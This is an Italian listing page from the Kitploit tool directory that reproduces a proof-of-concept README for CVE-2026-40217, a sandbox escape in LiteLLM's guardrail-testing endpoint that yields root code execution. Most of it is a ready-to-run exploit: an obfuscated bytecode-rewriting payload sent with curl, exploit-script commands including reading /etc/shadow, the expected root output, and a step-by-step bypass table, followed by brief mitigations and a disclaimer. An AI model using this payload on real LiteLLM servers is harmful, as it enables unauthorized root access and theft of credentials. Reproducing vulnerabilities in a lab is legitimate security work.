Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40217-PoC — Il codice per riprodurre personalmente la relativa vulnerabilità | Kitploit
Strumenti/GitHubGitHub/learner202649/cve-2026-40217-poc
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

Il codice per riprodurre personalmente la relativa vulnerabilità

Vedi Repository
43 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-40217 — Evasione dalla sandbox di LiteLLM Guardrail

LiteLLM POST /guardrails/test_custom_code — Evasione dalla sandbox che porta a Remote Code Execution (RCE) come root nella distribuzione Docker predefinita.

CampoValore
CVECVE-2026-40217
CVSS8.8 (ALTO) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (Controllo improprio delle risorse di codice gestite dinamicamente) / CWE-94
Versioni interessateLiteLLM ≤ 2026-04-08 (pre-v1.83.11)
Corretta inv1.83.11+ (sandbox artigianale sostituita con RestrictedPython)
Scoperta daMarkus Vervier — X41 D-Sec GmbH
Pubblicata2026-04-08
LinkAdvisory X41 • GHSA-wxxx-gvqv-xp7p • oss-security

Descrizione

L'endpoint POST /guardrails/test_custom_code in LiteLLM consente agli utenti autenticati di inviare codice Python arbitrario per il test delle guardrail. L'endpoint tenta di limitare le operazioni pericolose utilizzando filtri basati su regex sul codice sorgente, ma questi possono essere completamente aggirati tramite tecniche di riscrittura del bytecode CPython, portando a esecuzione arbitraria di codice nel processo proxy. Nell'immagine Docker predefinita, il proxy viene eseguito come root, amplificando l'impatto.


Proof of Concept

Prerequisiti

root@kitploit:~
# Installazione delle dipendenze Python (richieste da exploit.py)
pip install -r requirements.txt

Avvio rapido (Docker)

⚠️ Importante: il file docker-compose.yml fissa l'immagine vulnerabile a un digest specifico (sha256:7c311546...) del 22 marzo 2026. Non modificare il tag in main-latest né in una versione più recente — le immagini successive potrebbero già contenere la correzione (RestrictedPython) anche se il numero di versione suggerisce il contrario (ad esempio, v1.83.10-stable è stata ricostruita dopo la patch e non è vulnerabile).

root@kitploit:~
# 1. Installare le dipendenze (se non già fatto)
pip install -r requirements.txt

# 2. Avviare un'istanza LiteLLM vulnerabile
docker compose up -d

# 3. Eseguire l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Leggere file sensibili (modificare l'argomento --cmd)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Oppure direttamente con curl
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Risultato atteso

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

Tecnica di evasione dalla sandbox (6 passaggi)


Struttura del repository

root@kitploit:~
CVE-2026-40217/
├── README.md                  # Questo file
├── docker-compose.yml         # Ambiente vulnerabile con un solo comando
├── requirements.txt           # Dipendenze
├── exploit/
│   ├── exploit.py             # Script di exploit completo
│   └── payload.py             # Modulo del payload bytecode
├── docs/
│   └── advisory.md            # Dettagli dell'advisory tradotti
└── screenshots/               # Screenshot di prova

Mitigazione

  1. Aggiornare a LiteLLM v1.83.11+ (usa RestrictedPython invece della sandbox artigianale)
  2. Bloccare /guardrails/test_custom_code presso il proprio reverse proxy / API gateway
  3. Limitare la master key ai soli amministratori fidati
  4. Eseguire come utente non-root in Docker: docker run --user 1000:1000 ...
  5. Non esporre l'interfaccia di gestione a reti non fidate

Riferimenti

  • Advisory X41 D-SEC x41-2026-001
  • GitHub Advisory GHSA-wxxx-gvqv-xp7p
  • GitLab Advisory
  • Divulgazione oss-security
  • Dettagli NVD

Disclaimer: Questo contenuto è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.

Scarica lo strumento
PassaggioTecnicaCodice
1Bypass delle regex tramite concatenazione di stringhe"_"+"_gl"+"ob"+"als"+"_"+"_"
2Ottenere la classe object tramite str.mro()[1]obj = str.mro()[1]
3Accedere all'oggetto codice del generatore tramite gi_codec = g(None).gi_code
4Sostituire __code__ della funzione tramite object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5Estrarre i builtins reali da http_get.__globals__imp = gd["__builtins__"]["__import__"]
6Ottenere RCE tramite os.popenimp("os").popen("id").read()